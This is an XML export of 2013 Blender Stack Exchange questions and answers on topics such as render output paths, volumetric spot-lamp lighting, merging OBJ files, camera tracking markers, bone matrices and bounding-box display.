  <row Id="3349" PostTypeId="2" ParentId="3344" CreationDate="2013-10-15T19:36:00.727" Score="5" Body="&lt;p&gt;The filepath is stored in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene.render.filepath&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However there is a function to find the output filename for a frame (the same function blender users internally).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;output = bpy.context.scene.render.frame_path(frame=10)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;example use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bpy.context.scene.render.filepath = &quot;/test/some_###_anim.png&quot;&#xA;&amp;gt;&amp;gt;&amp;gt; bpy.context.scene.render.frame_path(frame=10)&#xA;'/test/some_010_anim.png'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-10-15T19:36:00.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3350" PostTypeId="1" CreationDate="2013-10-15T19:44:07.257" Score="3" ViewCount="6897" Body="&lt;p&gt;I am having a problem with the most basic possible thing: the middle mouse button will only rotate the view sometimes.  If I left-click somewhere (on or off an object), sometimes it stops working.  My mouse is a Microsoft 5-button, with tilt wheel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a completely novice Blender user.  Clean install, factory settings, mouse works in every other application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I left-click in the 3D view, which moves the red-and-white reticle/crosshairs. Then I try to use the middle mouse button to rotate the view.  Sometimes it works, but sometimes nothing happens (though the scroll wheel always zooms reliably.)  If I keep clicking and re-clicking the middle mouse button, eventually Blender will decide to rotate the view, but it's not a certainty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once it permits the view to rotate, the situation is stable until I left-click somewhere again. Where in the view I click (for both left and middle buttons) seems to have no effect on the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the problem seems to appear completely at random and is so transient, it looks to me like a bug.  If it's not, I have no idea how to tell it from normal Blender behavior.  I've tried using Emulate Three Button Mouse, but the problem seems to occur for alt-left mouse button as well, so I know it's not my middle mouse button.&lt;/p&gt;&#xA;" OwnerUserId="1437" LastActivityDate="2013-10-15T19:44:07.257" Title="Middle mouse button doesn't always rotate view" Tags="&lt;3d-view&gt;" AnswerCount="0" CommentCount="9" ClosedDate="2013-12-11T07:43:33.960" ContentLicense="CC BY-SA 3.0" />
  <row Id="3351" PostTypeId="1" AcceptedAnswerId="3354" CreationDate="2013-10-15T22:14:02.297" Score="4" ViewCount="726" Body="&lt;p&gt;Did I understand the answer &lt;a href=&quot;https://blender.stackexchange.com/questions/2549/creating-volumetric-lighting-crepuscular-rays-in-cycles/2553#2553&quot;&gt;in this post&lt;/a&gt; correctly? It says that due to the fact that volumetric lighting is not implemented yet, creating a transparent laser focus with visible molecular spheres in it is not possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I'm trying to see a sphere in a red &quot;focus&quot; and do not get the result I would like to have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hP53z.png&quot; alt=&quot;A sphere in a very transparent focus&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot of the properties:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eZHWm.png&quot; alt=&quot;now with more information&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1433" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2013-10-16T18:44:06.107" Title="Transparent laser focus" Tags="&lt;light&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3352" PostTypeId="1" CreationDate="2013-10-16T01:02:38.743" Score="6" ViewCount="14336" Body="&lt;p&gt;I have a model that has different .obj files for the head and body. How can I merge them into one file? I have tried everything I know. Which isn't much. And I can't find any tutorials online on how to merge them.&lt;/p&gt;&#xA;" OwnerUserId="1439" LastEditorUserId="241" LastEditDate="2020-06-26T13:41:53.317" LastActivityDate="2020-08-07T21:39:12.930" Title="Merging Multiple .OBJ files" Tags="&lt;objects&gt;&lt;obj&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3353" PostTypeId="2" ParentId="3352" CreationDate="2013-10-16T01:12:57.987" Score="6" Body="&lt;p&gt;You can import &lt;code&gt;.obj&lt;/code&gt; files by going to &lt;em&gt;File &gt; Import &gt; Wavefront (.obj)&lt;/em&gt;. Several files can be imported into your scene.&lt;br&gt;&#xA;Once the files are in Blender, you can make any changes to them if need be &lt;em&gt;(such as joining them into a single mesh object by selecting them all and pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;)&lt;/em&gt; and then you can export back to a single &lt;code&gt;.obj&lt;/code&gt; file by going to &lt;em&gt;File &gt; Export &gt; Wavefront (.obj)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-10-19T13:08:48.367" LastActivityDate="2013-10-19T13:08:48.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3354" PostTypeId="2" ParentId="3351" CreationDate="2013-10-16T03:22:39.037" Score="2" Body="&lt;h1&gt;BI:&lt;/h1&gt;&#xA;&lt;p&gt;BI &lt;em&gt;does&lt;/em&gt; have volumetric rendering, so you could you could use two &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Lighting/Lamps/Spot&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Spot&lt;/em&gt; lamps&lt;/a&gt; with &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Lighting/Lamps/Spot/Halos&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Halo&lt;/em&gt;&lt;/a&gt; enabled to get this effect:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&amp;gt;Add &amp;gt; Lamp &amp;gt; Spot&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the spot lamp and duplicate it with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; to  &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Duplication#Linked_Duplicates&quot; rel=&quot;nofollow noreferrer&quot;&gt;duplicate linked&lt;/a&gt;. This way all settings will be mirrored between each &lt;em&gt;Linked Duplicate&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Rotate the duplicated lamp 180° (&lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;1&lt;/kbd&gt;&lt;kbd&gt;8&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cqalr.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Halo&lt;/em&gt; in &lt;em&gt;Object Data &amp;gt; Spot Shape&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Note that to get volumetric shadows, &lt;em&gt;Step&lt;/em&gt; will have to be set to &lt;code&gt;1&lt;/code&gt; or higher:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eCW2d.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4UyZk.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Cycles:&lt;/h1&gt;&#xA;&lt;p&gt;Cycles does not yet have volumetrics integrated, but they are &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.6/Source/Render/Cycles/Roadmap&quot; rel=&quot;nofollow noreferrer&quot;&gt;planned to be in 2.69 or 2.70&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Plans&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;For 2.68, the following features are planned to be worked on:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Hair shader&lt;/li&gt;&#xA;&lt;li&gt;Ubershader (combined diffuse+glossy+transparent node)&lt;/li&gt;&#xA;&lt;li&gt;Look into of improvements for SSS, AO, mist, ..&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;After this the next big feature will be Volumetrics. Probably the&#xA;first release with Volumetrics will be 2.69 or 2.70.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You could fake this in Cycles by using the same scene with two spot lamps, but with transparent cone objects along with spot lamps to act as the volume.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;em&gt;Cone&lt;/em&gt; and match it to the shape of the spot lamp:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C6hEz.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a material for the cones. The &lt;em&gt;IsCamera ray&lt;/em&gt; node mixes the transparent shaders so that the cone appears to have some color only to the camera. All other rays will just pass through it unaffected. The &lt;em&gt;Layer Weight&lt;/em&gt; node allows us to change the color based on how much faces point towards the camera.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zZDfA.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HduXr.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that with this technique it is impossible to get volumetric shadows. (see &lt;a href=&quot;https://blender.stackexchange.com/a/2555/599&quot;&gt;this post&lt;/a&gt; for some tricks to fake volumetrics in cycles with shadows.)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-10-16T18:44:06.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3355" PostTypeId="1" CreationDate="2013-10-16T06:11:36.263" Score="10" ViewCount="5364" Body="&lt;p&gt;If I have a model, for instance UV unwrapped, how can I from a texture assign a vertex group. White = assign vertex, black = don't assign vertex, values in between = halfway assigned vertex based on color intensity. A grayscale image would probably be used.&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2017-11-02T21:20:22.323" Title="Vertex group from texture" Tags="&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3356" PostTypeId="2" ParentId="3355" CreationDate="2013-10-16T10:13:17.767" Score="8" Body="&lt;p&gt;You can try the &lt;strong&gt;Vertex Weight Edit&lt;/strong&gt; modifier. For example, I can input the following texture as a &lt;em&gt;Texture Mask&lt;/em&gt; to the modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wWHsc.jpg&quot; alt=&quot;texture&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... that will then use its value, to control how the modifier assigns weight to each vertex. Tweak at least the &lt;em&gt;Default Weight&lt;/em&gt;, threshold settings and fallof type to get the result you need:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tJygj.jpg&quot; alt=&quot;modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though not instantly updated if we edit the image, the result shows up immediately, and is usable by modifiers further down the stack:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T8xA1.jpg&quot; alt=&quot;weight&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/4064/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=4064&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Default Weight&lt;/em&gt; and &lt;em&gt;Add Threshold&lt;/em&gt; should be of that weight which you'd like to have as the end result, &lt;em&gt;Add Threshold&lt;/em&gt; should be slightly less.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="1245" LastEditDate="2017-11-02T21:20:22.323" LastActivityDate="2017-11-02T21:20:22.323" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3357" PostTypeId="1" CreationDate="2013-10-16T10:48:53.687" Score="5" ViewCount="716" Body="&lt;p&gt;I'm wondering if there is any way to accomplish turning an obj sequence exported from realflow into a .bobj fluid cache that I could then trick blender into loading as a native fluid sim cache. So far I've managed to find some old (2.4x) docs on a .bobj import script, but nothing on exporting to .bobj files. I can't find anything in the API docs either so far so I'm not feeling to hopeful, but I thought I'd try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All that I really require is a way to export to the .bobj format (which as I understand is a Binary encoded .obj file). I don't know enough about the internals of these files to write an exporter myself, but I was hoping that there would be something in the API that I could use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1440" LastEditorUserId="3566" LastEditDate="2014-05-22T15:06:43.210" LastActivityDate="2014-05-22T15:06:43.210" Title="Converting an obj sequence to a .bobj fluid sim cache?" Tags="&lt;python&gt;&lt;export&gt;&lt;file-format&gt;&lt;fluid-simulation&gt;" AnswerCount="0" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3358" PostTypeId="2" ParentId="3333" CreationDate="2013-10-16T12:24:55.697" Score="0" Body="&lt;p&gt;One could also create a &quot;File Output&quot; node preceeded by a &quot;Scale&quot; node using scripting. This doesn't provide filter options either, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course this only works with nodes postprocessing turned on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Py/Scripts/Cookbook/Code_snippets/Nodes&quot; rel=&quot;nofollow&quot;&gt;Blender Wiki Cookbook example&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="151" LastActivityDate="2013-10-16T12:24:55.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3359" PostTypeId="1" AcceptedAnswerId="3360" CreationDate="2013-10-16T13:40:35.720" Score="13" ViewCount="4606" Body="&lt;p&gt;I want to do some camera tracking. The things that I will be filming does not have a lot of detail on it, so that I will have to place some extra markers here and there. I am not sure what kind if markers to make. Should I make simple X's or should I just put some dots on it?&lt;/p&gt;&#xA;" OwnerDisplayName="user320" LastActivityDate="2014-09-18T19:24:27.120" Title="Camera Tracking markers" Tags="&lt;camera&gt;&lt;tracking&gt;&lt;video&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3360" PostTypeId="2" ParentId="3359" CreationDate="2013-10-16T14:08:08.217" Score="17" Body="&lt;p&gt;With the new affine/perspective tracking you can get much better tracking by having a marker that has some features within it. Here's a brief hierarchy of how I think about what makes a good tracking marker:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CuCX7.png&quot; alt=&quot;Bare Minimum tracking marker&quot;&gt;&lt;br&gt;&#xA;&lt;strong&gt;Bare Minimum:&lt;/strong&gt;&lt;br&gt;&#xA;Some kind of point you can track the position of. Vulnerable to being lost due to noise. Can't track scale or rotation very well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IkfTO.png&quot; alt=&quot;better tracking marker&quot;&gt;&lt;br&gt;&#xA;&lt;strong&gt;Better:&lt;/strong&gt;&lt;br&gt;&#xA;A corner gives you more to track, and is less likely to get lost, but can disappear it the camera moves too much around the object, and you probably can't track it's scale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nD3gY.png&quot; alt=&quot;best tracking marker&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PwtKa.png&quot; alt=&quot;best tracking marker&quot;&gt;&lt;br&gt;&#xA;&lt;strong&gt;Best:&lt;/strong&gt;&lt;br&gt;&#xA;Some kind of small pattern or grouping of features. This gives you something with high contrast that you can also keep track of the rotation and scaling of with the &lt;em&gt;Perspective&lt;/em&gt; motion model. This should give you a more robust track and thus a better camera solution.&lt;/p&gt;&#xA;" OwnerUserId="1440" LastEditorUserId="2217" LastEditDate="2014-09-18T19:24:27.120" LastActivityDate="2014-09-18T19:24:27.120" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3361" PostTypeId="1" CreationDate="2013-10-16T19:58:25.160" Score="1" ViewCount="8276" Body="&lt;p&gt;This code works perfectly fine outside of Blender, but the &lt;code&gt;next()&lt;/code&gt; function does not appear to exist in Blender..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while line:&#xA;    if(line == &quot;POSITION:\n&quot;):&#xA;        POS1 = '[' + file.next().replace(' ',', ').replace('\n','') + ']'&#xA;        POS2 = '[' + file.next().replace(' ',', ').replace('\n','') + ']'&#xA;        POS3 = '[' + file.next().replace(' ',', ').replace('\n','') + ']'&#xA;        POS4 = '[' + file.next().replace(' ',', ').replace('\n','') + ']'&#xA;&#xA;    try:&#xA;        line = file.next()&#xA;    except StopIteration:&#xA;        break&#xA;file.close()&#xA;return&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Not all of my code, just the part that reads my file)&lt;/p&gt;&#xA;" OwnerUserId="1444" LastEditorUserId="12" LastEditDate="2013-10-17T01:55:01.080" LastActivityDate="2018-08-23T05:22:21.240" Title="AttributeError: ,_io.TextIOWrapper' object has no attribute 'next'" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3362" PostTypeId="1" CreationDate="2013-10-16T20:57:32.010" Score="2" ViewCount="2679" Body="&lt;p&gt;I'm writing an exporter and am trying to export the animations but I'm not certain of what space the matrices are in or what they're relative to (if anything) and the docs don't really give much info at all about any class variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the Bind Pose matrix should come from PoseBone.bone.matrix_local. Since it's being called a 'local' matrix I would assume that it's relative to its parent but then the docs say it's in armature-space. What does this matrix really represent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to export the final pose matrix for each bone for a given frame but I tend to either have very incorrect matrices or they seem to not be inheriting a rotation somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;rig_ui.py calculates a pose matrix like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rest = posebone.bone.matrix_local.inverted()&#xA;par_rest = posebone.bone.matrix_local.inverted()&#xA;par_inv = posebone.parent.matrix.inverted()&#xA;final = rest * par_rest * par_inv * posebone.matrix&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This results in the armature pose seeming to lose an ancestor's rotation somewhere. What I don't understand is why none of the other scripts actually use ancestor's matrices if bone.matrix_local actually is relative to its parent. Won't it need to have accumulated every ancestor? Am I misunderstanding what space either bone.matrix_local or posebone.matrix is in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some scripts/exporters are also using the inverse of the pose bone's parent's matrix or the inverse of the bone's parent's matrix_local (before applying that to that bone's matrix_local which is not inverted). My understanding was that only the bind pose matrices need to be inverted and ALL of them must be inverted.&lt;/p&gt;&#xA;" OwnerUserId="1445" LastActivityDate="2014-07-09T13:13:01.537" Title="Calculating final Bone/PoseBone matrices" Tags="&lt;animation&gt;&lt;python&gt;&lt;export&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3363" PostTypeId="1" AcceptedAnswerId="3385" CreationDate="2013-10-16T22:18:34.813" Score="1" ViewCount="1052" Body="&lt;p&gt;I tracked a sequence of images and want to add a box to the tracked scene.&#xA;All works well, and in the 3D view, if I change the current frame, the box looks aligned to&#xA;the movie, which I use as a background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When compositing, I have a RenderLayer node and the movie node combined using &quot;over alpha&quot;. This works, but in the viewer, the rendered cube is at a fixed location (doesn't move with the scene), as it it's pinned to a single frame. The 3D view still works, and as I slide the current time, the cube moves with the movie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attaching a screenshot where the cube is aligned (next to the mouse) in the 3D view (bottom right), but not in the composite viewer (bottom left).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W7cUm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make things more clear, here's a comparison of the 3D view (on the right) and the composite result view (on the left). First, on frame 20:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ihvw3.jpg&quot; alt=&quot;Frame 20&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now on frame 50:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZAsGo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally on frame 220:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6QpBO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the composite output view, the cube is stationary while in the 3D view it's &quot;moving&quot; with the tracked camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the blend file: &lt;a href=&quot;https://docs.google.com/file/d/0B7hMuaSXz92RTi02d29BRGtxS0E/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;comp_room2.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1356" LastEditorUserId="1356" LastEditDate="2013-10-17T05:31:20.177" LastActivityDate="2013-10-18T09:24:47.683" Title="While compositing, RenderLayer doesn't move with time" Tags="&lt;compositor&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3364" PostTypeId="1" AcceptedAnswerId="3388" CreationDate="2013-10-16T22:43:21.780" Score="4" ViewCount="2131" Body="&lt;p&gt;i'd like to see the uv map while texture-painting. But the uv map in the uv editor shows only if the 3d view is in edit mode. I've seen in a tutorial that the map can also be visible in texture paint mode, how can i do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;regards,&#xA;  Toast&lt;/p&gt;&#xA;" OwnerUserId="1446" LastEditorUserId="5426" LastEditDate="2015-10-31T02:34:23.747" LastActivityDate="2015-10-31T02:34:23.747" Title="While in texture paint, make uv map edges visible (Cycles)" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;uv&gt;&lt;image&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3365" PostTypeId="2" ParentId="3361" CreationDate="2013-10-16T23:02:32.523" Score="1" Body="&lt;p&gt;Blender 2.6x comes with its own Python in Version 3.3.x, and in Py3k it's &lt;code&gt;__next__()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do simpler, however:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for line in file:&#xA;    print(line)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2013-10-16T23:02:32.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3366" PostTypeId="1" AcceptedAnswerId="3367" CreationDate="2013-10-17T02:24:08.620" Score="7" ViewCount="25077" Body="&lt;p&gt;I would like to know how to display a Bounding Box around my objects in Blender, much like the Bounding Box from Maya 3D. All I want to be able to do is determine the outer edges of an object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked everywhere in the interface, but cannot see how to turn that on.&lt;/p&gt;&#xA;" OwnerUserId="1447" LastEditorUserId="2217" LastEditDate="2014-09-18T18:53:01.340" LastActivityDate="2020-11-30T12:02:46.010" Title="Display bounding box around objects" Tags="&lt;interface&gt;&lt;3d-view&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3367" PostTypeId="2" ParentId="3366" CreationDate="2013-10-17T02:25:42.580" Score="12" Body="&lt;p&gt;Assuming you just want to display a bounding box around or instead of each object, you can do this with &lt;em&gt;Draw types&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Drawing a bounding box instead of the object:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You could set &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View_Options&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Viewport shading&lt;/em&gt;&lt;/a&gt; to &lt;em&gt;Bounding box&lt;/em&gt; to draw the bounds of each object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BYt1u.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A comparison between &lt;em&gt;Solid&lt;/em&gt; and &lt;em&gt;Bounding box&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9V4vxm.png&quot; alt=&quot;enter image description here&quot;&gt; &#xA;&lt;img src=&quot;https://i.stack.imgur.com/7cWNRm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this for one object only, you can set this in &lt;em&gt;Properties &gt; Object Display &gt; Maximum draw type&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lMURU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xdvjn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Drawing a bounding box around the object:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This can be done by enabling &lt;em&gt;Bounds&lt;/em&gt; with the &lt;em&gt;Maximum draw type&lt;/em&gt; still higher than &lt;em&gt;Bounds&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q0R9M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wDzsd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could do this for many objects by:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the objects for which you want to enable &lt;em&gt;Bounding box&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Bounds&lt;/em&gt; in &lt;em&gt;Object &gt; Display&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Right click on the &lt;em&gt;Bounds&lt;/em&gt; option and select &lt;em&gt;Copy to selected&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UFNJT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/201Dp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-10-17T02:53:44.993" LastActivityDate="2013-10-17T02:53:44.993" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
